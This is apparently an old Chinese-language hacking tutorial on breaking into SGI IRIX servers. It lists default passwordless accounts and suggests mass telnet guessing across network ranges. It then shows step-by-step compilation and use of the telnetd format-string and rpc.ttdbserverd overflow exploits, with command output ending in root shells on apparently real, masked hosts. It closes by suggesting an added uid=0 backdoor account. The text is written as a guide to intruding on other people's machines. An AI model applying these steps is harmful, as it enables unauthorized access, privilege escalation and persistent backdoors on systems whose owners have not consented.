IRIX是SGI推出的应用于服务器和高端工作站的一种操作系统,不过SGI虽然在高端图形
工作站上面有一手,但在服务器上面就有点……总的来说,SGI在商用服务器上面想用
IRIX&MIPS系列来对付SUN的Solaris&Sparc是不行的,哈哈~~不过,使用IRIX作为服务器的地方还是有很多。而且IRIX从开发到至今,一直都有很多致命的死穴。死穴者,一招毙命也……哈哈哈!好了,好了,言归正传。下面该说说怎么入侵IRIX了。
由于IRIX在业界的地位比较高,所以在世界上有很多网站使用她的系统……
首先,必须找到一台带有cc或者gcc的IRIX机器。IPIX的有些版本在缺省配置时有许多漏
洞,下列账号在telnet时不需要口令:
lp
guest
4Dgifts
demos
jack
jill
backdoor
tutor
tour
你可以在工作站上面编写一个shell script。通过telnet猜测一个网段,把上面的名称做成用户名。再nohup &后台执行。运气好的话,一天过后,来到你的工作站上面看一看
nohup.out,保证有你想要的东东。拿到一台有gcc的机器后(我就拿到一台IRIX6.5的机
器,用户名:lp密码:空。哈哈!)。你就可以去找找远程溢出的c源程序了。我在
hack.co.za找到两个比较有效的程序。
死穴之一,IRIX telnetd 远程格式化串漏洞
这个漏洞在NSFOCUS的描述是:IRIX telnetd 在收到IAC-SB-TELOPT_ENVIRON请求后会设
置_RLT环境变量,当调用syslog()和sprintf()函数的时候,错误的将用户输入的数据作
为了格式化串的内容。这导致远程用户可以任意覆盖进程空间的内容,通过修改GOT入口
参数等方法,攻击者可以远程获得root权限。
以下代码在我的IRIX6.5上成功编译。
以下代码可以在中华黑盟:http://hlc.cnroot.com/下载,测试程序:
首先,rsh到我的跳板。得到shell
# <---修改uid得到的root shell
把文件想办法传上跳板,假设文件是telnetd.c。你可以用vi复制粘贴上去,也可以rcp
上去,甚至ftp也行……再用gcc进行编译
#gcc -o telnetd telnetd.c <---pass!可以试试效果了。
如果你找到了没有空密码弱点的机器,可能就能有这个漏洞拿到一个uid=0的shell
#./telnetd xxx.xxx.xxx.xxx <--假设入侵的是xxx.xxx.xxx.xxx这个网站
copyright LAST STAGE OF DELIRIUM jul 2000 poland //lsd-pl.net/
telnetd for irix 6.2 6.3 6.4 6.5 6.5.8 IP:all
.
IRIX 6.5-6.5.8m 6.5-6.5.7f telnetd: no patches
IRIX ns2 6.5 01200533 IP32
哈哈~~看来拿到shell了。看看id……
id
uid=0(root) gid=0(sys)
嘻嘻嘻……不好意思,root啦!线在你可以自己加个uid=0的账号啦!
死穴之二,IRIX rpc.ttdbserverd 远程缓冲区溢出漏洞
这个漏洞我在NSFOCUS和CNNS都没有找到相关的描述信息。不过在hack.co.za有这个程序
的代码,代码也可以在中华黑盟:http://hlc.cnroot.com/进行下载。
ok,弄到这个代码后就得进行编译,怎么编译上面我已经说明白了,在这里我不再重复。
你可以先用rpcinfo看看目标有没有开启ttdbserverd这项服务。下面看看一台机器的结
果:
#rpcinfo -p xxx.xxx.xxx.xxx <-由于是国内的,所以马赛克处理。我可不想坐牢^__^
program vers proto port
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100003 2 udp 2049 nfs
100003 3 udp 2049 nfs
100003 2 tcp 2049 nfs
100003 3 tcp 2049 nfs
100024 1 udp 789 status
100024 1 tcp 791 status
100099 1 udp 2048 autofsd
100021 1 udp 2049 nlockmgr
100021 3 udp 2049 nlockmgr
100021 4 udp 2049 nlockmgr
100021 1 tcp 2049 nlockmgr
100021 3 tcp 2049 nlockmgr
100021 4 tcp 2049 nlockmgr
100005 1 tcp 1024 mountd
100005 3 tcp 1024 mountd
100005 1 udp 1025 mountd
100005 3 udp 1025 mountd
391004 1 tcp 1025 sgi_mountd
391004 1 udp 1026 sgi_mountd
100001 1 udp 1027 rstatd
100001 2 udp 1027 rstatd
100001 3 udp 1027 rstatd
100008 1 udp 1028 walld
100002 1 udp 1029 rusersd
100011 1 udp 1030 rquotad
100012 1 udp 1031 sprayd
391002 1 tcp 1026 sgi_fam
391009 1 tcp 1027 sgi_pod
391029 1 tcp 1028 sgi_espd
391017 1 tcp 818 sgi_mediad
100083 1 udp 956 ttdbserverd
100083 1 tcp 958 ttdbserverd
上面这台机器开启的rpc服务还是蛮多的嘛,不过有用的可以整理出来,
100083 1 udp 956 ttdbserverd
100083 1 tcp 958 ttdbserverd
嗯,用上面编译的程序试试看……
#./ttdb xxx.xxx.xxx.xxx
copyright LAST STAGE OF DELIRIUM jul 1998 poland //lsd-pl.net/
rpc.ttdbserverd for irix 5.2 5.3 6.2 6.3 6.4 6.5 6.5.2
IP:17,19-22,25-28,30,32
adr=0x7fff4fec timeout=10 port=776 connected! sent!
IRIX game 6.3 12161207 IP32
id
uid=0(root) gid=0(sys)
看来轻易入侵,而且也是root shell哦!总的来说ttdb还是没有telnetd漏洞容易成功。
一般用telnetd漏洞就能轻易成功入侵一大片的IRIX。